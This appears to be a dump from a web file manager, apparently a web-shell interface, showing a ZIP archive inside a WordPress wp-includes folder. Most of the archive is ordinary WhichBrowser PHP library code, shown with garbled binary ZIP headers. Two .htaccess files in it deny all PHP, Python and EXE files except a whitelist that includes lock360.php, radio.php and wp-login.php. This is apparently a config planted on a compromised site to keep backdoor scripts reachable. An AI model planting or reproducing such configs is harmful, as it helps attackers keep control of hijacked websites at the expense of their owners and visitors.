���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧� - ���֧էѧܧ�ڧ��ӧѧ�� - /home/zhaagvlk/public_html/wp-includes/Requests/library/block-bindings/Model.zip
���ѧ٧ѧ�
PK \$u\�V�s s Family.phpnu �[��� <?php namespace WhichBrowser\Model; use WhichBrowser\Model\Primitive\NameVersion; class Family extends NameVersion { /** * Get an array of all defined properties * * @internal * * @return array */ public function toArray() { $result = []; if (!empty($this->name) && empty($this->version)) { return $this->name; } if (!empty($this->name)) { $result['name'] = $this->name; } if (!empty($this->version)) { $result['version'] = $this->version->toArray(); } return $result; } } PK \$u\d D D Device.phpnu �[��� <?php namespace WhichBrowser\Model; use WhichBrowser\Constants; use WhichBrowser\Data; use WhichBrowser\Model\Primitive\Base; class Device extends Base { /** @var string */ public $manufacturer; /** @var string */ public $model; /** @var string */ public $series; /** @var string */ public $carrier; /** @var int */ public $identifier; /** @var mixed */ public $flag; /** @var string */ public $type = ''; /** @var string */ public $subtype = ''; /** @var int */ public $identified = Constants\Id::NONE; /** @var boolean */ public $generic = true; /** @var boolean */ public $hidden = false; /** * Set the properties to the default values * * @param array|null $properties An optional array of properties to set after setting it to the default values * * @internal */ public function reset($properties = null) { unset($this->manufacturer); unset($this->model); unset($this->series); unset($this->carrier); unset($this->identifier); $this->type = ''; $this->subtype = ''; $this->identified = Constants\Id::NONE; $this->generic = true; $this->hidden = false; if (is_array($properties)) { $this->set($properties); } } /** * Identify the manufacturer and model based on a pattern * * @param string $pattern The regular expression that defines the group that matches the model * @param string $subject The string the regular expression is matched with * @param array|null $defaults An optional array of properties to set together * * @return string */ public function identifyModel($pattern, $subject, $defaults = []) { if (preg_match($pattern, $subject, $match)) { $this->manufacturer = !empty($defaults['manufacturer']) ? $defaults['manufacturer'] : null; $this->model = Data\DeviceModels::cleanup($match[1]); $this->identifier = preg_replace('/ (Mozilla|Opera|Obigo|AU.Browser|UP.Browser|Build|Java|PPC|AU-MIC.*)$/iu', '', $match[0]); $this->identifier = preg_replace('/_(TD|GPRS|LTE|BLEU|CMCC|CUCC)$/iu', '', $match[0]); if (isset($defaults['model'])) { if (is_callable($defaults['model'])) { $this->model = call_user_func($defaults['model'], $this->model); } else { $this->model = $defaults['model']; } } $this->generic = false; $this->identified |= Constants\Id::PATTERN; if (!empty($defaults['carrier'])) { $this->carrier = $defaults['carrier']; } if (!empty($defaults['type'])) { $this->type = $defaults['type']; } } } /** * Declare an positive identification * * @param array $properties An array, the key of an element determines the name of the property * * @return string */ public function setIdentification($properties) { $this->reset($properties); if (!empty($this->model)) { $this->generic = false; } $this->identified |= Constants\Id::MATCH_UA; } /** * Get the name of the carrier in a human readable format * * @return string */ public function getCarrier() { return $this->identified && !empty($this->carrier) ? $this->carrier : ''; } /** * Get the name of the manufacturer in a human readable format * * @return string */ public function getManufacturer() { return $this->identified && !empty($this->manufacturer) ? $this->manufacturer : ''; } /** * Get the name of the model in a human readable format * * @return string */ public function getModel() { if ($this->identified) { return trim((!empty($this->model) ? $this->model . ' ' : '') . (!empty($this->series) ? $this->series : '')); } return !empty($this->model) ? $this->model : ''; } /** * Get the combined name of the manufacturer and model in a human readable format * * @return string */ public function toString() { if ($this->hidden) { return ''; } if ($this->identified) { $model = $this->getModel(); $manufacturer = $this->getManufacturer(); if ($manufacturer != '' && strpos($model, $manufacturer) === 0) { $manufacturer = ''; } return trim($manufacturer . ' ' . $model); } return !empty($this->model) ? 'unrecognized device (' . $this->model . ')' : ''; } /** * Check if device information is detected * * @return boolean */ public function isDetected() { return !empty($this->type) || !empty($this->model) || !empty($this->manufacturer); } /** * Get an array of all defined properties * * @internal * * @return array */ public function toArray() { $result = []; if (!empty($this->type)) { $result['type'] = $this->type; } if (!empty($this->subtype)) { $result['subtype'] = $this->subtype; } if (!empty($this->manufacturer)) { $result['manufacturer'] = $this->manufacturer; } if (!empty($this->model)) { $result['model'] = $this->model; } if (!empty($this->series)) { $result['series'] = $this->series; } if (!empty($this->carrier)) { $result['carrier'] = $this->carrier; } return $result; } } PK \$u\9��ܤ � .htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK \$u\�ƺ Version.phpnu �[��� <?php namespace WhichBrowser\Model; use WhichBrowser\Model\Primitive\Base; class Version extends Base { /** @var string|null */ public $value = null; /** @var boolean */ public $hidden = false; /** @var string */ public $nickname; /** @var string */ public $alias; /** @var int */ public $details; /** @var boolean */ public $builds; /** * Determine if the version is lower, equal or higher than the specified value * * @param string The operator, must be <, <=, =, >= or > * @param mixed The value, can be an integer, float or string with a version number * * @return boolean */ public function is() { $valid = false; $arguments = func_get_args(); if (count($arguments)) { $operator = '='; $compare = null; if (count($arguments) == 1) { $compare = $arguments[0]; } if (count($arguments) >= 2) { $operator = $arguments[0]; $compare = $arguments[1]; } if (!is_null($compare)) { $min = min(substr_count($this->value, '.'), substr_count($compare, '.')) + 1; $v1 = $this->toValue($this->value, $min); $v2 = $this->toValue($compare, $min); switch ($operator) { case '<': $valid = $v1 < $v2; break; case '<=': $valid = $v1 <= $v2; break; case '=': $valid = $v1 == $v2; break; case '>': $valid = $v1 > $v2; break; case '>=': $valid = $v1 >= $v2; break; } } } return $valid; } /** * Return an object with each part of the version number * * @return object */ public function getParts() { $parts = !is_null($this->value) ? explode('.', $this->value) : []; return (object) [ 'major' => !empty($parts[0]) ? intval($parts[0]) : 0, 'minor' => !empty($parts[1]) ? intval($parts[1]) : 0, 'patch' => !empty($parts[2]) ? intval($parts[2]) : 0, ]; } /** * Return the major version as an integer * * @return integer */ public function getMajor() { return $this->getParts()->major; } /** * Return the minor version as an integer * * @return integer */ public function getMinor() { return $this->getParts()->minor; } /** * Return the patch number as an integer * * @return integer */ public function getPatch() { return $this->getParts()->patch; } /** * Convert a version string seperated by dots into a float that can be compared * * @internal * * @param string Version string, with elements seperated by a dot * @param int The maximum precision * * @return float */ private function toValue($value = null, $count = null) { if (is_null($value)) { $value = $this->value; } $parts = explode('.', $value); if (!is_null($count)) { $parts = array_slice($parts, 0, $count); } $result = $parts[0]; if (count($parts) > 1) { $result .= '.'; $count = count($parts); for ($p = 1; $p < $count; $p++) { $result .= substr('0000' . $parts[$p], -4); } } return floatval($result); } /** * Return the version as a float * * @return float */ public function toFloat() { return floatval($this->value); } /** * Return the version as an integer * * @return int */ public function toNumber() { return intval($this->value); } /** * Return the version as a human readable string * * @return string */ public function toString() { if (!empty($this->alias)) { return $this->alias; } $version = ''; if (!empty($this->nickname)) { $version .= $this->nickname . ' '; } if (!empty($this->value)) { if (preg_match("/([0-9]+)(?:\.([0-9]+))?(?:\.([0-9]+))?(?:\.([0-9]+))?(?:([ab])([0-9]+))?/", $this->value, $match)) { $v = [ $match[1] ]; if (array_key_exists(2, $match) && strlen($match[2])) { $v[] = $match[2]; } if (array_key_exists(3, $match) && strlen($match[3])) { $v[] = $match[3]; } if (array_key_exists(4, $match) && strlen($match[4])) { $v[] = $match[4]; } if (!empty($this->details)) { if ($this->details < 0) { array_splice($v, $this->details, 0 - $this->details); } if ($this->details > 0) { array_splice($v, $this->details, count($v) - $this->details); } } if (isset($this->builds) && !$this->builds) { $count = count($v); for ($i = 0; $i < $count; $i++) { if ($v[$i] > 999) { array_splice($v, $i, 1); } } } $version .= implode('.', $v); if (array_key_exists(5, $match) && strlen($match[5])) { $version .= $match[5] . (!empty($match[6]) ? $match[6] : ''); } } } return $version; } /** * Get an array of all defined properties * * @internal * * @return array */ public function toArray() { $result = []; if (!empty($this->value)) { if (!empty($this->details)) { $parts = explode('.', $this->value); $result['value'] = join('.', array_slice($parts, 0, $this->details)); } else { $result['value'] = $this->value; } } if (!empty($this->alias)) { $result['alias'] = $this->alias; } if (!empty($this->nickname)) { $result['nickname'] = $this->nickname; } if (isset($result['value']) && !isset($result['alias']) && !isset($result['nickname'])) { return $result['value']; } return $result; } } PK \$u\�{� � Engine.phpnu �[��� <?php namespace WhichBrowser\Model; use WhichBrowser\Model\Primitive\NameVersion; class Engine extends NameVersion { /** * Get an array of all defined properties * * @internal * * @return array */ public function toArray() { $result = []; if (!empty($this->name)) { $result['name'] = $this->name; } if (!empty($this->version)) { $result['version'] = $this->version->toArray(); } if (isset($result['version']) && empty($result['version'])) { unset($result['version']); } return $result; } } PK \$u\V���r r Using.phpnu �[��� <?php namespace WhichBrowser\Model; use WhichBrowser\Model\Primitive\NameVersion; class Using extends NameVersion { /** * Get an array of all defined properties * * @internal * * @return array */ public function toArray() { $result = []; if (!empty($this->name) && empty($this->version)) { return $this->name; } if (!empty($this->name)) { $result['name'] = $this->name; } if (!empty($this->version)) { $result['version'] = $this->version->toArray(); } return $result; } } PK \$u\<��� � Os.phpnu �[��� <?php namespace WhichBrowser\Model; use WhichBrowser\Model\Primitive\NameVersion; class Os extends NameVersion { /** * @var \WhichBrowser\Model\Family $family To which family does this operating system belong */ public $family; /** @var string */ public $edition; /** @var boolean */ public $hidden = false; /** * Set the properties to the default values * * @param array|null $properties An optional array of properties to set after setting it to the default values * * @internal */ public function reset($properties = null) { parent::reset(); unset($this->family); unset($this->edition); $this->hidden = false; if (is_array($properties)) { $this->set($properties); } } /** * Return the name of the operating system family * * @return string */ public function getFamily() { if (isset($this->family)) { return $this->family->getName(); } return $this->getName(); } /** * Is the operating from the specified family * * @param string $name The name of the family * * @return boolean */ public function isFamily($name) { if ($this->getName() == $name) { return true; } if (isset($this->family)) { if ($this->family->getName() == $name) { return true; } } return false; } /** * Get the name and version in a human readable format * * @return string */ public function toString() { if ($this->hidden) { return ''; } return trim($this->getName() . (!empty($this->version) && !$this->version->hidden ? ' ' . $this->getVersion() : '')) . (!empty($this->edition) ? ' ' . $this->edition : ''); } /** * Get an array of all defined properties * * @internal * * @return array */ public function toArray() { $result = []; if (!empty($this->name)) { $result['name'] = $this->name; } if (!empty($this->family)) { $result['family'] = $this->family->toArray(); } if (!empty($this->alias)) { $result['alias'] = $this->alias; } if (!empty($this->edition)) { $result['edition'] = $this->edition; } if (!empty($this->version)) { $result['version'] = $this->version->toArray(); } if (isset($result['version']) && empty($result['version'])) { unset($result['version']); } return $result; } } PK \$u\9��ܤ � Primitive/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK \$u\s\��E E Primitive/Base.phpnu �[��� <?php namespace WhichBrowser\Model\Primitive; /** * @internal */ class Base { /** * Set the properties of the object the the values specified in the array * * @param array|null An array, the key of an element determines the name of the property */ public function __construct($defaults = null) { if (is_array($defaults)) { $this->set($defaults); } } /** * Set the properties of the object the the values specified in the array * * @param array $properties An array, the key of an element determines the name of the property * * @internal */ public function set($properties) { foreach ($properties as $k => $v) { $this->{$k} = $v; } } /** * Get a string containing a JavaScript representation of the object * * @internal * * @return string */ public function toJavaScript() { $lines = []; foreach (get_object_vars($this) as $key => $value) { if (!is_null($value)) { $line = $key . ": "; if ($key == 'version') { $line .= 'new Version({ ' . $value->toJavaScript() . ' })'; } elseif ($key == 'family') { $line .= 'new Family({ ' . $value->toJavaScript() . ' })'; } elseif ($key == 'using') { $line .= 'new Using({ ' . $value->toJavaScript() . ' })'; } else { switch (gettype($value)) { case 'boolean': $line .= $value ? 'true' : 'false'; break; case 'string': $line .= '"' . addslashes($value) . '"'; break; case 'integer': $line .= $value; break; } } $lines[] = $line; } } return implode(", ", $lines); } } PK \$u\pS�u u Primitive/NameVersion.phpnu �[��� <?php namespace WhichBrowser\Model\Primitive; use WhichBrowser\Model\Version; /** * @internal */ class NameVersion extends Base { /** * @var string $name The name */ public $name; /** * @var string $alias An alternative name that is used for readable strings */ public $alias; /** * @var \WhichBrowser\Model\Version $version Version information */ public $version; /** * Set the properties to the default values * * @param array|null $properties An optional array of properties to set after setting it to the default values * * @internal */ public function reset($properties = null) { unset($this->name); unset($this->alias); unset($this->version); if (is_array($properties)) { $this->set($properties); } } /** * Identify the version based on a pattern * * @param string $pattern The regular expression that defines the group that matches the version string * @param string $subject The string the regular expression is matched with * @param array|null $defaults An optional array of properties to set together with the value * * @return string */ public function identifyVersion($pattern, $subject, $defaults = []) { if (preg_match($pattern, $subject, $match)) { $version = $match[1]; if (isset($defaults['type'])) { switch ($defaults['type']) { case 'underscore': $version = str_replace('_', '.', $version); break; case 'legacy': $version = preg_replace("/([0-9])([0-9])/", '$1.$2', $version); break; } } $this->version = new Version(array_merge($defaults, [ 'value' => $version ])); } } /** * Get the name in a human readable format * * @return string */ public function getName() { return !empty($this->alias) ? $this->alias : (!empty($this->name) ? $this->name : ''); } /** * Get the version in a human readable format * * @return string */ public function getVersion() { return !empty($this->version) ? $this->version->toString() : ''; } /** * Is a name detected? * * @return boolean */ public function isDetected() { return !empty($this->name); } /** * Get the name and version in a human readable format * * @return string */ public function toString() { return trim($this->getName() . ' ' . (!empty($this->version) && !$this->version->hidden ? $this->getVersion() : '')); } } PK \$u\FI�-� � Browser.phpnu �[��� <?php namespace WhichBrowser\Model; use WhichBrowser\Model\Primitive\NameVersion; class Browser extends NameVersion { /** * @var \WhichBrowser\Model\Using $using Information about web views the browser is using * @var \WhichBrowser\Model\Family $family To which browser family does this browser belong */ public $using; public $family; /** @var string */ public $channel; /** @var boolean */ public $stock = true; /** @var boolean */ public $hidden = false; /** @var string */ public $mode = ''; /** @var string */ public $type = ''; /** * Set the properties to the default values * * @param array|null $properties An optional array of properties to set after setting it to the default values * * @internal */ public function reset($properties = null) { parent::reset(); unset($this->channel); unset($this->using); unset($this->family); $this->stock = true; $this->hidden = false; $this->mode = ''; $this->type = ''; if (is_array($properties)) { $this->set($properties); } } /** * Get the name in a human readable format * * @return string */ public function getName() { $name = !empty($this->alias) ? $this->alias : (!empty($this->name) ? $this->name : ''); return $name ? $name . (!empty($this->channel) ? ' ' . $this->channel : '') : ''; } /** * Is the browser from the specified family * * @param string $name The name of the family * * @return boolean */ public function isFamily($name) { if ($this->getName() == $name) { return true; } if (isset($this->family)) { if ($this->family->getName() == $name) { return true; } } return false; } /** * Is the browser using the specified webview * * @param string $name The name of the webview * * @return boolean */ public function isUsing($name) { if (isset($this->using)) { if ($this->using->getName() == $name) { return true; } } return false; } /** * Get a combined name and version number in a human readable format * * @return string */ public function toString() { if ($this->hidden) { return ''; } $result = trim($this->getName() . ' ' . (!empty($this->version) && !$this->version->hidden ? $this->getVersion() : '')); if (empty($result) && isset($this->using)) { return $this->using->toString(); } return $result; } /** * Get an array of all defined properties * * @internal * * @return array */ public function toArray() { $result = []; if (!empty($this->name)) { $result['name'] = $this->name; } if (!empty($this->alias)) { $result['alias'] = $this->alias; } if (!empty($this->using)) { $result['using'] = $this->using->toArray(); } if (!empty($this->family)) { $result['family'] = $this->family->toArray(); } if (!empty($this->version)) { $result['version'] = $this->version->toArray(); } if (!empty($this->type)) { $result['type'] = $this->type; } if (isset($result['version']) && empty($result['version'])) { unset($result['version']); } return $result; } } PK \$u\�c(2'